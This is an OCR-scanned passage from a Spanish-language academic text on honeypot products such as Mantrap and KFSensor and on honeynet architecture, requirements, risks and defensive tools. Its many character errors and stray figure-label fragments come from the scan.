Figura 2.12: Arquitectura de Mantrap

El intruso tendra un sistema operativo completo para interactuar y una variedad de
aplicaciones para atacar. Toda esta actividad es capturada y registrada. No tinicamente se
podra detectar escaneos de puertos y accesos telnet, ademds se podran capturar rootkits,
ataques a nivel de aplicacion, sesiones chat “Internet Relay Chat” y una variedad de otras
amenazas. Sin embargo, serd mas lo que se podra aprender, por lo tanto algo méas puede salir
mal. Se debe tener en cuenta que el intruso puede utilizar este sisterna operativo completo y
funcional para atacar a otros. Se deberan tener cuidados para reducir este riesgo. Por lo cual
se podria catalogar a este como un nivel de interaccién mediano. También, estos honeypots
pueden ser utilizados como cualquier honeypot de produccidon (utilizando ambos métodos:
deteccion y reaccion) o un honeypot de investigacion para aprender més acerca de es-
tas amenazas. La unica gran limitacion es que se depende de lo que el proveedor proporcione.

Mantrap proporciona un método real y flexible para identificar amenazas de seguridad
internas y externas. Cuando los hosts que contienen Mantrap se localizan dentro de una red.,
pueden mostrar el riesgo de la interrupcion de los procesos criticos y la pérdida de infor-
macion, al agregar valiosos mecanismos de respuesta, que actualmente no estan disponibles
con las herramientas tradicionales. Una herramienta de seguridad tradicional proporciona
tiempo o informacién. La combinacién de estos recursos proporciona al administrador la
habilidad para responder eficientemente y apropiadamente a un ataque dado.

Al implementar una norma de capa de seguridad, proporciona varios niveles de proteccién
para la informacion valiosa de activos en la red de la organizacion.

Como se puede observar en la figura 2.13, Mantrap cuenta con una consola de
administracién desde la cual se pueden administrar los diferentes sistemas operativos emu-
lados en cada una de las jaulas.

Mantrap cuenta con las siguientes caracteristicas:

» Protege contra ataques internos.

Un gran porcentaje de los ataques sobre los activos de informacién provienen de
fuentes internas. Debido al alto nivel de confianza que se permite para audiencias
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Figura 2.13: Analisis de Registros con Mantrap

internas, los mtrusos dentro de una organizacién a menudo tienen acceso a informacion
confidencial y privilegiada. Los ataques sobre este tipo de informacién generalmente
tienen gran efecto sobre la organizacién en términos econdémicos, mas atun que los
ataques externos. Sin embargo, la seguridad interna es usualmente de baja prioridad
en comparacion con la seguridad externa. Mantrap permite a una organizacion
implementar una aplicacion efectiva de la seguridad interna que disminuya el riesgo
en los negocios de un ataque interno exitoso.

Mantrap es extremadamente efectivo cuando se desarrolla un recurso interno de alto
valor; cuando un ntruse se encuentra buscando la informacién deseada, Mantrap puede
crear una fuente de informacion virtual.

» Protegiendo en contra de ataques externos.

Para protegerse en contra de ataques externos se puede utilizar un firewall. Los intrusos
pueden obtener acceso traspasando el firewall, explotando y comprometiendo recursos
internos. Mantrap puede ser una parte integral de una solucién de seguridad para
proteger en contra de este tipo de ataques externos. Los hosts que contengan Mantrap
pueden ser desarrollados de varias maneras dentro de una Zona Desmilitarizada (DMZ)
y las jaulas pueden ser configuradas para parecerse a otros hosts, como podria ser un
servidor de ftp, mail o web. Para crear espejos falsos de los recursos externos, asi el
mntruso no podrd determinar cuales sistemas son de produceién y cuales son virtuales.
Adicionalmente, Mantrap se puede complementar con el firewall para fortalecer las
medidas de seguridad. Proteger los activos internos es esencial, el implementar una
solucion de capa de seguridad con Mantrap puede prevenir pérdidas financieras y mala
imagen de una organizacion.

= Ganando tiempo e informacion.

La calidad del engano estd directamente relacionada con la habilidad para contener al
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intruso por largo tiempo. Los intrusos estan enterados del ambiente en el que juegan,
por lo que un solido engano es esencial para mantener al intruso y determinar sus
métodos vy motivos.

Mantrap utiliza la tecnologia de engano de host. Este aprovecha los limites de interac-
cion entre el intruso, creando un ambiente irreal. El intruso puede facilmente examinar
el ambiente y consecuentemente perder tiempo y utilizar varios recursos tratando de
conseguir ingresar. Para presentar un ambiente mas realista, Mantrap utiliza un am-
biente de sistema operativo entero, permitiendo virtualmente que cualquier aplicacion
sea ejecutada en la jaula. Las aplicaciones disfrazadas y datos falsos serdan el destino
de estos ataques, no los sistemas de produccion.

s Perfil de Intruso.

Mantrap mantiene un seguimiento de las actividades del intruso. Mantrap registra
informacion relevante, como comandos ejecutados, procesos ejecutados, fecha y hora del
ataque, archivos accedidos, conexiones de red y direcciones IP. Con esta informacion,
se puede desarrollar un perfil de intruso que indique su nivel de destreza y como es su
ataque. Un perfil de intruso exacto habilita una fuente de informacién para la toma
de decisiones cuando sea necesario responder a un ataque.

Como se puede ver en la figura 2.14, Mantrap cuenta ademds con una terminal de
monitor de sesion, desde la cual se puede monitorear una determinada conexion a uno de
los sistemas operativos controlados por Mantrap, permitiendo conocer paso a paso, que es lo
que el intruso se encuentra ejecutando en la jaula.

Figura 2.14: Monitor de Sesion de Mantrap
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KFSensor
KFSensor es un honeypot basado en Sistema de Deteccion de Intrusos (IDS).

Actia como honeypot para atacar y detectar intrusos simulando servicios de sistema y
troyanos.

Es sumamente configurable y sus caracteristicas detallan en sus registros, el analisis de
ataque y alertas seguridad.
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Figura 2.15: Deteccion de Ataques con KFSensor
Caracteristicas:

= No falsos positivos

= Consume pocos recursos

= Simple

» Avanzada simulacién de servidores
» Deteccion en tiempo real

= Detecta amenazas desconocidas

= Agrega seguridad a fondo

= Honeypot de baja interaccion

Bigeye

Honeypot de baja interaccién que emula varios servicios como FTP o HTTP.

Es una utileria de red que puede ejecutarse de varias formas.
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Como sniffer

Como generador de bitdcoras tep/udp/icmp

Escuchar conexiones entrantes en un puerto tep/udp

Como honeypot

Modo honeypot

El modo honeypot (-e) es un esquema de emulacién para aparentar protocolos como: ftp
o htip.

The Bait and Switch

La idea de este honeypot es: sacar de las sombras del esquema de sequridad a los
honeypots y convertirlos en un participante activo en el sistema de defensa.

Lo que hace es crear un sistema que reacciona a intentos de intrusion hostiles redireccio-
nando todo el tréafico hostil a un honeypot que estd “espejeando” parcialmente un sistema
en produccion. De esta manera, en cuanto se switchea, el intruso se encuentra atacando al
honeypot, en lugar del sistema en produccion.

Se han revisado 8 diferentes tipos de honeypot. Ningin honeypot es mejor que otro,
cada uno tiene sus desventajas y ventajas, todo esto depende de lo que se quiera registrar.
Es mucho mas facil definir las habilidades de los honeypots, se han definido las categorias
de estos basados en sus niveles de interaccién. Entre mayor sea el nivel de interaccién de
un honeypot, mayor serd lo que se podra aprender, pero serd muy grande el riesgo. Por
ejemplo, BackOfficer Friendly (BOF) y Specter representan honeypots de baja interaccion.
Estos son faciles de obtener e implementar. Sin embargo, estan limitados especificamente a
emular algunos sistemas y servicios, utilizados especificamente para la deteccién. Deception
Toolkit y Mantrap cuenta con un nivel de interaccién mediano. Las hornieynets representan
honeypots de alta interaccion. Estas pueden dar grandes departamentos de informacion, sin
embargo, mas serd el trabajo y riesgo involucrado.

Muchas de estas soluciones comparten el problema de firmas detectables. Ya que es ser
posible identificar estos productos basdndose en las firmas que dejan, permitiendo a un
intruso avanzado comprometer el sistema, moverse dentro de fuentes reales y no perder
tiempo con sistemas virtuales o emulados. Todas estas soluciones tienen un gran potencial
pero tnicamente para algin requerimiento especifico. Adicionalmente, no se permitira danar
a otros sistemas en la Internet, por lo cual es necesaria una solucion que no pueda ser
utilizada como plataforma de ataque.
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2.2. Honeynets

En el tema anterior fueron descritos varios tipos de honeypots basandose su nivel
de interaccién, la mayoria presenté un nivel de interacciéon bajo, por lo cual pueden ser
instalados v administrados facilmente, pero es poca la informacion que se puede obtener,
debido a la poca interaccién de los intrusos con los sistemas honeypot; en el presente
tema se discutird un tipo de honeypot que permite una interaccion alta con los intrusos,
permitiendo obtener una gran cantidad de informacién acerca de las distintas amenazas de
seguridad en cémputo, pero involucrando un gran riesgo; este tipo de honeypot es conocido
como: honeynet, a continuacién se describird el funcionamiento, requerimientos necesarios y
riesgo involucrado.

Las Honeynets representan el extremo en la investigacion del honeypot. Estas son
honeypots de alta interaccion, se podran aprender grandes cosas, sin embargo, también
cuentan con un alto riesgo. Su primer valor radica en la investigacion, recogiendo informacién
de amenazas que existen cominmente hoy en dia en Internet. Una honeynet es una red de
sistemas. A diferencia de muchos de los honeypots descritos anteriormente, nada es emulado.
Pocas o ninguna modificacién se realiza a los sistemas que forman parte de la honeynet.
Esto proporciona a los intrusos un amplio rango de sistemas, aplicaciones y funcionalidades
para atacar. De esto se podra aprender mucho, no unicamente sus herramientas o tacticas,
métodos de comunicacién, organizaciones grupales y motivos. Sin embargo, con esta
habilidad viene un gran riesgo. Una gran variedad de medidas se deben tomar, para asegurar
que una vez comprometido el sistema, una honeynet no pueda ser utilizada para atacar a
otros sistemas. Las honeynets son primeramente honeypots de investigacion. Estas pueden
utilizarse como honeypot de produccion, especificamente para la detecciéon o reaccion, sin
embargo, esto requerird de mucho tiempo y esfuerzo.

2.2.1. Definicion

Las honeynets son un tipo de honeypot de alta interaccion, disenado especificamente
para la investigacién de amenazas de seguridad, ayudan a conocer cémo los intrusos realizan
pruebas y como consiguen explotar los recursos de una red. Los honeypots son implemen-
tados en sistemas simples y su valor se encuentra en la deteccién de amenazas, en cambio
las honeynets son implementadas en una red de sistemas de computo y su valor consiste en
proporcionar informaciéon sobre amenazas de seguridad en cémputo, con esta informacion se
pueden conocer las tdcticas, métodos y herramientas usadas por los intrusos al comprometer
los sistemas dentro de la honeynet. Las honeynets no son utilizadas para capturar imtrusos.
El objetivo es conocer céomo trabajan los intrusos al comprometer los sistemas dentro
de una red, pero sin que tengan conocimiento de que estan siendo observados y analizados. [5]
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2.2.2. Tipos de Honeynets

A continuacién se describirdn los tipos de honeynets que existen, son similares a los tipos
de honeypots®™: Produccion e Investigacion.

Honeynet de Investigacion

Es una red de multiples sistemas operativos dedicados exclusivamente a la investigacién
de amenazas de seguridad, es decir, los sistemas no tienen trafico de produccién, pero cuentan
con servicios y aplicaciones reales. Esta red se establece detrds de un dispositivo de control
de acceso, en el cual todo el trifico de entrada y salida es controlado y capturado. El trafico
capturado se analiza para conocer las herramientas, tacticas y motivos de los intrusos. [6]

Honeynet de Produccion

Esta red se establece detrdas de un dispositivo de control, el trafico de salida se controla.
Los sistemas que se encuentran dentro de la red son sistemas con aplicaciones y servicios
que la organizacién esta empleando en sus ambientes de produccion. Los riesgos y vulnera-
bilidades descubiertas en una honeynet de este tipo son los mismos que se pueden encontrar
en cualquier organizacién en Internet. Solo es necesario tomar un sistema de produccién y
colocarlo dentro de la honeynet.

Con este tipo de honeynet es dificil realizar un buen estudio de las amenazas debido
al tréfico de produccion que contamina los datos, pero puede ser utilizada como alerta de
posibles ataques a los demas sistemas dentro de la organizacién. Pueden detectarse ataques
y se puede establecer un patrén de comportamiento de intrusos.

Son estas 2 diferencias en el diseno las que hacen de una honeynet
primeramente una  herramienta de investigacion. Esta puede ser utiliza-
da como un honeypot tradicional, el cual detecta actividad no autoriza-
da, sin embargo, una honeynet requiere gran trato, mucho trabajo, riesgo y
administracion. Es muy simple, no vale la pena todo el esfuerzo de construir y man-
tener una honeynet solo para detectar ataques a los sistemas. Se podra obtener una solucién
mads adecuada con un simple honeypot.

2.2.3. Valor de las Honeynets

Las honeynets agregan un gran valor ya que permiten a una organizacioén conocer la
manera de actuar de los intrusos. Por lo general la informacién referente a la seguridad
en computo es puramente defensiva, es decir se proporciona informacion acerca de vul-
nerabilidades existentes, para una correcciéon adecuada, se implementan mecanismos de
defensa como son: Firewalls, Sistemas Detectores de Intrusos (IDS), métodos de cifrado
como PGP “Pretty Good Privacy”, se realizan actualizaciones a los sistemas, etc. todos

*TLos tipos de honeypots fueron descritos en el capitulo anterior en la seccion 2.1.3 y 2.1.4.
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estos mecanismos tienen por objetivo proteger lo mejor posible los recursos de la organi-
zacién. Pero los intrusos desarrollan y realizan nuevos ataques a los sistemas de computo
constantemente. Esto es una gran desventaja, ya que un nuevo y peligroso ataque puede
desarrollarse y puede transcurrir un largo periodo de tiempo antes de que sea dado a
conocer, durante este periodo de tiempo muchos sistemas pueden ser comprometidos por
este ataque desconocido.

Las honeynets intentan cambiar esta situacién al proporcionar a la organizacion la opcién
de tomar la iniciativa. El primer propésito de una honeynet es recolectar informacién acerca
de las amenazas existentes en el campo de la seguridad en computo. Con las honeynets se
pueden detectar nuevos y sofisticados ataques, por ejemplo: los gusanos que comprometen
miles de sistemas de computo pueden ser capturados y analizados, se pueden determinar
patrones de comportamiento y motivos de los intrusos; esta informacién puede utilizarse
como indicador temprano de posibles ataques antes de que estos sucedan, he aqui un
segundo propésito de las honeynets: proporcionar informacién que ayude a proteger de
mejor manera los recursos dentro de una organizacién. Al colocar sistemas de produccién
dentro de la honeynet se pueden identificar riesgos y vulnerabilidades para los sistemas
de produccion dentro de una organizacion. Adicionalmente un tercer proposito de una
honeynet es ayudar a la organizacién a desarrollar las habilidades de respuesta a incidentes
de seguridad, el equipo puede desarrollar las habilidades para detectar, reaccionar, recuperar
y analizar sistemas honeypot que han sido comprometidos.

Estos ejemplos de identificacion de riesgos, mejora de la proteccion de los recursos y
respuesta a incidentes demuestran las posibilidades de la funcionalidad de una honeynet.
Se tiene que tener en mente que las honeynets son sélo una herramienta, proporcionan
informacion valiosa, sin embargo, cada quien determina la utilidad que le de. Asi, su principal
proposito y diseno se encuentran en el andlisis de amenazas de seguridad en cémputo.

2.2.4. Funcionamiento

La honeynet conceptualmente es una infraestructura simple. Se crea una red de cémputo
donde se podra observar todo lo que ocurre dentro, se podrd monitorear a los intrusos
en la red, se podréd incluir todo lo que se quiera dentro de la red. Esta red controlada y
monitoreada es la honeynet. En la figura 2.16 se muestra un ejemplo de una arquitectura
honeynet de Primera Generacién (Gen I*®), la cual serd descrita a detalle a lo largo
del presente tema. (Como puede observarse consta de varios elementos que permiten el
monitoreo y control de esta red).

Uno de los grandes problemas de los profesionales de la seguridad es determinar dentro
del trafico de una red de alguna organizacién, cudl es trafico de la actividad de los sistemas
de produccién y cudl es tréifico de actividad maliciosa provocada por los intrusos, algunos
mecanismos como Sistemas Detectores de Intrusos resuelven este problema utilizando
una base de datos de firmas de ataques ya conocidos que son identificados dentro del

*SHoneynet de Primera Generacién (Gen I) es dedfinida asi por el proyecto Honeynet.
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Figura 2.16: Arquitectura Honeynet Gen I

trafico de la red. Sin embargo, el exceso de informacién, la contaminacion de los datos,
actividad desconocida, falso positivos y falso negativos pueden causar que el andlisis y la
determinacién de la informacién sea extremadamente dificil.

Al igual que algunos honeypots, las honeynets resuelven este problema dedicando los
recursos exclusivamente a la investigacion de amenazas de seguridad, es decir, no hay trafico
de produccién entrando y saliendo de la honeynet por lo cual todo el trafico que llegue hasta
la honeynet es sospechoso por naturaleza y sera capturado y analizado.

Se permitird que cualquier intruso comprometa los sistemas dentro de la honeynet. se
permitird que pueda realizar algunas actividades dentro de los sistemas, pero se deberé con-
trolar cualquier actividad maliciosa que intente comprometer a los sistemas que no son parte
de la honeynet. Para cumplir con esta situacion la honeynet deberd cumplir con ciertos
requerimientos que son descritos a continuacion.

2.2.5. Requerimientos

Los requerimientos criticos que definen a cada honeynet son control de
datos y captura de datos. Si ocurre una falla en cualquiera de estos dos re-
querimientos entonces ocurre una falla en la honeynet. Las honeynets pueden
ser implementadas de distintas maneras pero deberan de mantener siempre
los requerimientos de control y captura de datos, el éxito de la  honeynet
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consistird en mantener los requerimientos sin que los intrusos tengan conocimiento
de estos, por lo tanto no podrdan saber que se encuentran dentro de una honeynet. Un tercer
requerimiento, coleccién de datos se utiliza exclusivamente por aquellas organizaciones
que cuenten con multiples honeynets distribuidas en sus ambientes. A continuacion se
describird en que consiste cada uno de estos tres requerimientos:

Control de Datos

El control de datos se encargard de contener la actividad de los intrusos dentro de la
honeynet. Se debe recordar que una honeynet es implementada para ser comprometida por
los intrusos; cuando se trata con intrusos siempre hay un gran riesgo, se deberd contar con
mecanismos que permitan controlar la actividad de los intrusos y asi disminuir este riesgo.

El control de datos consiste en implementar mecanismos que controlen el trafico de
entrada y de salida de la honeynet, es decir se permitird el ingreso de todo aquel tréfico
que permita al intruso comprometer cualquier sistema dentro de la honeynet, pero se
debera bloquear la salida de trafico que pueda ser utilizado para comprometer algin sistema
fuera de la honeynet. Para realizar esto se colocara un firewall que permitird el ingreso
de todo el trafico que se acredite, pero limitando el trafico de salida. Se puede observar el
mecanismo de control de datos en la figura 2.16, se muestra al firewall anteponerse entre
la red de sistemas e Internet, adicionalmente un ruteador es colocado con el propésito de
evitar que el firewall sea descubierto y proporcionar a la honeynet un ambiente mas realista.

Es importante definir ctal sera el propdsito de la honeynet, es decir, si es capturar y
estudiar gusanos se deberd de permitir todo el trafico de entrada y no se debera permitir
ningun tréfico de salida, pero si lo que se quiere es estudiar a los intrusos se deberd permitir
cierto trafico de salida, ya que es en este trafico en el cual los intrusos lograran conseguir los
recursos para llevar a cabo el ataque exitoso y proseguir con sus propositos cualquiera que
estos sean. Lo dificil de este requerimiento es implementarlo sin que los intrusos sospechen,
va que de no acreditar el suficiente triafico de salida en unos cuantos minutos el intruso
abandonara la honeynet, sin embargo, si se autoriza el trafico suficiente para que una vez
que el ntruso logre ingresar al sistema pueda obtener las herramientas de su sitio web
entonces podra realizar lo que quiera en el sistema comprometido, pero si el intruso intenta
realizar un ataque desde el sistema comprometido, este debera ser bloqueado por el control
de datos.

Captura de Datos

La captura de datos es otro requerimiento critico de la honeynet, serd la encargada de
capturar toda la actividad de los intrusos dentro de la honeynet, esta informacién es im-
portante ya que serd analizada para conocer las herramientas, tacticas y motivos de los
intrusos. Al igual que el control de datos, la captura de datos deberd ser implementada sin
que los intrusos tengan conocimiento de que cada accién que realicen estd siendo registrada.
El objetivo es capturar la mayor cantidad de informacién posible, para esto se hace uso de
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varios recursos, no se deberd depender de un solo recurso para la captura de datos, ya que
un intruso podria eliminar la informacién de este recurso, lo cual es un comportamiento
tipico, para evitar esto se dispondran de los siguientes recursos los cuales son mostrados en
la figura 2.16:

» Firewall. Este serd el primer recurso de captura de datos, como se describié ante-
riormente, controlard las conexiones de entrada y salida, asi que debera de registrar
toda aquella actividad de conexién que pase a través de él. Adicionalmente, el firewall
deberd notificar cuando alguna conexién sea establecida, pues deberd de tratarse de
un ataque o prueba a algin sistema dentro de la honeynet.

= Sistema Detector de Intrusos. Este deberd de capturar toda la actividad de la
red, deberd de capturar todo paquete que cruce dentro de la honeynet, como se puede
observar en la figura 2.16, el Sistema Detector de Intrusos se encuentra monitore-
ando la red de los sistemas honeypots y al mismo tiempo monitorea los elementos
que seran utilizados para administrar la honeynet los cuales forman parte de la Red
Administradora (La Red Administradora, esta compuesta por los mecanismos que
permiten controlar y monitorear la honeynet). Cuando un ataque se detecte el Sistema
Detector de Intrusos alertara de este suceso, esto es de suma prioridad, pues indica que
un ataque se esta llevando a cabo. Con los registros obtenidos por el Sisterna Detector
de Intrusos se puede obtener informacién precisa sobre alguna conexién en especifico.

= Homneypots Otro recurso para obtener informacién valiosa son los sistemas dentro
de la honeynet, conocidos como honeypots. Estos son equipos que registraran toda la
actividad que ocurra dentro en ellos hacia un sistema remoto. se puede ver en la figura
2.16 al servidor de alertas y registros remoto, el cual capturara los registros de los
sistemas honeypots. De esta manera, si un intruso elimina los registros en el sistema
comprometido no se habra perdido nada, ya que los registros se encuentran a salvo
en otro sistema. Se puede utilizar cualquier método que permita registrar todas las
acciones del intruso dentro del sistema, se puede redireccionar el sistema de bitdcoras.
se pueden capturar los comandos ejecutados asi como sus respectivas salidas, todo esto
deberd de implementarse sin que los intrusos lo noten facilmente, si llegardn a notarlo
lo peor que puede pasar es que intenten eliminar sus registros del sistema remoto, para
lo cual deberdn de hacer uso de mejores tacticas y herramientas, ya que el sistema de
registros remoto contard con mejor proteccion que los sistemas honeypot y alguna de
las capas adicionales capturara este ataque.

Coleccién de Datos

El control de datos y la captura de datos son dos requerimientos para tecnologias
honeynet. Cualquier organizacién que requiera implementar este tipo de tecnologias de-
berd contar con estos dos requerimientos. La coleccion de datos es diferente, esta es opcional.
La coleccion de datos es la suma de datos de miiltiples honeynets en un punto central. El
objetivo es incrementar exponencialmente el valor de la informacién coleccionada. Muchas
organizaciones desarrollan inicamente una honeynet, por lo cual la coleccion de datos no es
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necesaria. Pero algunas organizaciones como Honeynet Research Alliance® la cual desarrolla

miiltiples honeynets, la coleccion de datos deberd de ser un estandar.

2.2.6. Honeynets de Segunda Generacion

A lo largo del presente capitulo se ha descrito una tecnologia de honeynet conocida como
honeynet de primera generacién (Gen I) la cual es aceptable, pero puede ser mejorada,
ahora se describird la siguiente etapa en tecnologias honeynet conocida como honeynet de
segunda generacién (Gen IT). En la figura 2.17 se muestra la arquitectura de una honeynet
de segunda generacion.

—— -

!| Ruteador
Produccion  Produceion  Produccion Diagrama del Sensor Honeynet
I | | El sensor consiste de un simple sistema
funicionando con dos de los reguerimientos

Control de Datos v Caplura de datos.

| Este consiste de tres interfaces de red

| Dos interfaces son capa 2, actuando

| como swhich en el segmento de la
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tiene un direccidn IP para conectividad
remata, Esta e para ambos Coleccidn de

Datos y administracion.
Sensar Sensor Haneynat Interfaz A: Interfaz de capa 2
| segmentando la red de produccidn
| Interfaz B: Interfaz de capa 2
o segmertando la red Honeynet.
o Pm—— Interfaz C: Interfaz de capa 2
Hub conexion VPN para purto de coleccidn

Honoypot Honeypol  Honeypot

Figura 2.17: Arquitectura Honeynet Gen II

La honeynet de Sequnda Generacion tendra todos los requerimientos combinados dentro
de un dispositivo simple conocido como sensor honeynet. Esto significa que todos los
requerimientos de control, captura y coleccién de datos tendran que estar en un recurso
simple. Esto hard mucho maés facil el manejo y desarrollo de una honeynet. Este simple
dispositivo estard en capa 2 de ruteo. Esto permitira que sea dificil de detectar, pues no
tendra una direccién IP asignada. Actuara como un puente, no hay ruteo de trafico de
red. Todo el trifico de entrada y salida pasara a través del dispositivo simple. El objetivo

2 Honeynet Research Alliance es una organizacion de honeynets distribuidas al rededor del mundo, para
mayor informacidén consultar: http://www.honeynet.org/alliance/
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es darle a los intrusos mayor flexibilidad mientras proporciona un mayor control sobre
las acciones de los mismos. Con la tecnologia de primera generacién el control de datos
es limitado ya que solo se permite cierto tréifico de entrada y salida, con la tecnologia
de segunda generacion se podrd permitir mayor trafico de entrada y salida; si un ataque
es ejecutado desde la honeynet hacia algin sistema fuera de la honeynet este dispositivo
deberd ser capaz de deshabilitar el ataque, modificando los paquetes que sean enviados, el
intruso podréd ver que su ataque es enviado pero no entenderd por qué no es exitoso. Se
agregard la suficiente inteligencia para modificar los bytes dentro del cédigo de cualquier
exploit ejecutado a través del dispositivo, asi como reducir o eliminar conexiones enteras.
También tendrd la habilidad de falsificar respuestas para mantener una interaccién alta con
los intrusos.

Este tipo de honeynet proporcionard mayor informacién sobre los intrusos, debido a que
tendrd mejores mecanismos de captura de datos; con el incremento en los mecanismos de
cifrado cada vez mas y mas ataques cuentan con estos mecanismos para mantener un mayor
control sobre la victima. La segunda generacién contara con mdédulos del kernel que son
disenados para capturar las actividades de los intrusos.

2.2.7. Honeynets Virtuales

Las honeynets wvirtuales combinan todos los requerimientos dentro de un solo sistema
fisico, es decir la captura de datos, control de datos y coleccién de datos se ejecutan en un
solo sistema, como se puede ver en la figura 2.18. Pueden soportar las tecnologias descritas
anteriormente Gen I y Gen II. Ademas los sistemas honeypot también pueden estar en el
mismo sistema fisico. Esto tiene una gran ventaja, los recursos que tienen que ser dedicados
para la implementacién de una tecnologia honeynet, como se describié anteriormente son
cuantiosos, y no siempre las organizaciones pueden destinar los recursos para la investigacién
de amenazas de seguridad. En la figura 2.18 se puede observar que los distintos elementos
como son: Firewall, Servidor de Registros remoto (syslog) y el Sistema Detector de Intrusos,
todos se encuentran localizados dentro del mismo sistema fisico, sin olvidar al sistema
honeypot que también forma parte de este mismo sistema.

Existen varios mecanismos que hacen realidad este tipo de honeynet, VMWare®® es un
software que permite que varios sistemas operativos se ejecuten al mismo tiempo, User Mode
Linuz®' es otro software que permite la ejecucién de varios sistemas Linux simulténeos.

2.2.8. Riesgos

Las honeynets no son una solucién activala y olvidala. Estas son un complejo tipo de
honeypot que requiere un mantenimiento, administracion y vigilancia constante. Para maxi-
mizar su efectividad, serd necesario detectar y reaccionar a incidentes lo mas rédpido posible.
Observando las actividades de los intrusos en tiempo real, se podra tener una méxima

30Para mayor informacién acerca de VM Ware consultar: http://uwww.wmware. com
31 Para mayor informacién sobre User Mode Linux consultar: hitp://usermodelinuz.org
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Figura 2.18: Arquitectura Honeynet Virtual

habilidad de captura y anédlisis de datos. También, para detectar actividad desconocida,
serd necesario una constante revision de la actividad sospechosa. Esto requiere demasiado
tiempo y habilidad de anélisis. Por ejemplo, en solo 30 minutos un ntruso hace suficiente
dano a un honeypot comprometido, en contraste se requieren de aproximadamente 30 a 40
horas para comprender completamente que paso. También se requiere de un mantenimiento
constante para asegurar la operacion de la honeynet. Si alguna cosa esta mal (y siempre
pasa) esto puede causar una falla dentro de la honeynet, algunas de las fallas serian: que el
proceso de alerias falle, que los discos lleguen a su maxima capacidad, que las firmas del
Sisterna Detector de Intrusos no estén actualizadas, que la configuracién de los archivos sea
incorrecta; ademas se necesitan algunos cuidados adicionales como son: que los sistemas de
bitdcoras sean revisados constantemente, que el firewall sea actualizado y corregido. Esto
representa solo algunos de los constantes cuidados y mantenimientos que se necesitan para
una honeynet exitosa. El trabajo apenas comienza cuando se implementa una tecnologia
honeynet.

También, hay riesgos involucrados en la construccion e implementacion de una honeynet.
Los intrusos estan atacando y comprometiendo sistemas todo el tiempo. Al levantar una
red para ser comprometida se expone a todo el mundo a este riesgo. Se debe asumir la
responsabilidad de asegurar que la honeynet, una vez comprometida, no pueda ser utilizada
para atacar o comprometer a otros sistemas. Sin embargo, con un ambiente como este,
siempre es potencial que algo se encuentre mal. Se tiene que implementar una variedad de
medidas para reducir este riesgo. Sin embargo, es posible para un inéruso, el desarrollar un
mecanismo o herramienta que le permita pasar por encima de los métodos de control de
acceso. Nunca se debe subestimar el poder de creatividad de los intrusos. El uso de firewall,
ruteadores y otras técnicas que ayuden a reducir el riesgo de que la honeynet sea utilizada
para danar a otros sistemas. Sea como sea, estd presente el riesgo.
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Por tltimo, las honeynets no van a resolver los problemas de seguridad en computo. Se
recomienda a las organizaciones enfocarse primero en mejores practicas de seguridad, como
podria ser una fuerte autenticacién, uso de protocolos de cifrado, revision del sistema de
bitacoras, construir sistemas seguros. Priorizar en politicas y procedimientos adecuados, las
organizaciones pueden reducir grandemente los riesgos con estas medidas. Las honeynets
no reducen el riesgo, estas tal vez incrementen el riesgo. Las honeynets son un honeypot
disenado primeramente para la investigacién de amenazas, para obtener informacién acerca
del enemigo. Las honeynets no arreglardn los servidores inseguros, no arreglardn malos
procesos o procedimientos.

2.2.9. Herramientas Honeynet

Durante los ultimos anos se han desarrollado una seria de herramientas que hacen posible
que todos los requerimientos de una honeynet sean una realidad constantemente se mejoran
estas herramientas.

Control de datos

= 7c. firewall: Script de IPTables utilizado para contar y controlar las conexiones de salida
de los sistemas Linux. Soporta Gen I y Gen 11, ademas trabaja con Snort. Desarrollado
por Rob McMillen. http://www.honeynet.org/tools/rc.firewall

= Snort inline: Modificaciones a Snort pueden bloquear o modificar ataques basados en
la coincidencia de firmas. Trabaja con el seript re.firewall para inspeccionar y tomar
acciones, con los paquetes de salida y entrada. http://www.honeynet.org/tools/snort
inline.conf

= Bridging: Para Gen II se necesita un gateway en capa 2 en modo de bridging.

= Bridge Utils. Utilerias para hacer puentes en Linuz.
http://bridge.sourceforge.net/download. html

= Bridge / IPTable’s patch: Permite a Iptables trabajar en modo de puente.
http://bridge.sourceforge.net/download. html

n Session Limit: Modificacion al firewall de openBSD pf. Puede ser utilizado en capa 2
y capa 3. http://www.lac.inpe.br/security/honeynet/tools

» Honeypot Bandwith Rate Limitation: Tecnologia y opciones de configuracion para re-
ducir el ancho de banda. Utilizado para limitar el nimero de paquetes de los intrusos
puedan enviar. http://www.honeynet.org/tools/dc.html

Captura de Datos

= Snort Utilities: Herramientas de Snort para capturar las actividades de los intrusos.
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s Snort  configuration  file: Utilizado por el Proyecto Honeynet
http:/ /www.honeynet.org/tools/snort.conf

w Sebek®®:  Capturar  actividades de los intrusos en los  Honeypots.
http://www.honeynet.org/tools/sebek/

» Linur  Kernel  Patchs: Una  variedad de parches de Linuz.
http://www.azehind.com/honeynet/

» Bash Patch: Captura los comandos ejecutados y los envia por syslog.
http://www.honeynet.org/tools/bash.patch

» Bash Patch Anton: Captura comandos ejecutados y los envia por UDP.
http://www.honeynet.org/tools/bash-anton.patch

» Anton-sh 4.6.2: Parche para el shell de BSD. http://www.honeynet.org/tools/anton-sh
4.6.2

» Modified Script utility: Utilizada para cachar la Entrada y Salida Estdndar y errores.
http://honeypots.sourceforge.net/modified script.html

s Termlog ver 1.0.2. Captura de Terminales para Free BSD.
http://www.seccuris.com/Research-Downloads. htm

s ComLog: Utilidad para Windows utilizada para registrar todos los comandos cmd.
http://securit.iquebec.com/

= Windows Eventlog to Syslog Client: Se ejecuta en Windows, monitorea even-
tos de bitdcoras, cuando aparece un evento los reenvia a un servidor syslog.
https://engineering.purdue. edu/ECN/Resources/Documents/UNIX /evtsys

Coleccion de Datos

= Upload Script: Script utilizado para enviar datos a la BD Central diariamente,
envia registros de firewall y registros de Snort. http://www.honeynet.org/tools/linuz-
upload.sh

= Obfugator 0.9.1. Herramienta utilizada para limpiar los registros.
http://www.honeynet.org/tools/obfugator-0.9.1.tgz

Analisis de Datos

= Demo Data: Una demostracion de analisis de datos.
http://www.honeynet.org/misc/files/data-demo.tgz

» Privmsg. Script en PERL utilizado para extraer las conversaciones IRC de los registros
binarios de tepdump. http://www.honeynet.org/tools/privmsg

32Conoce a tu enemigo: Sebek? http://his.sourceforge.net/trad /honeynet /papers/sebek/
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o Sleuthkit: Herramienta de andlisis forense para analizar sistemas hackeados.
http://www.sleuthkit.org/

» Winlnterrogate. Para windows utilizada para el analisis del sistema de archivos y pro-
cesos. http://winfingerprint.sf.net/wininterrogate.php

Administracion Honeynet

» Honey Control: Linea de comandos para administrar una Honeynet Gen II.
hitp://www.honeynet.org/tools/honeyctl.tgz

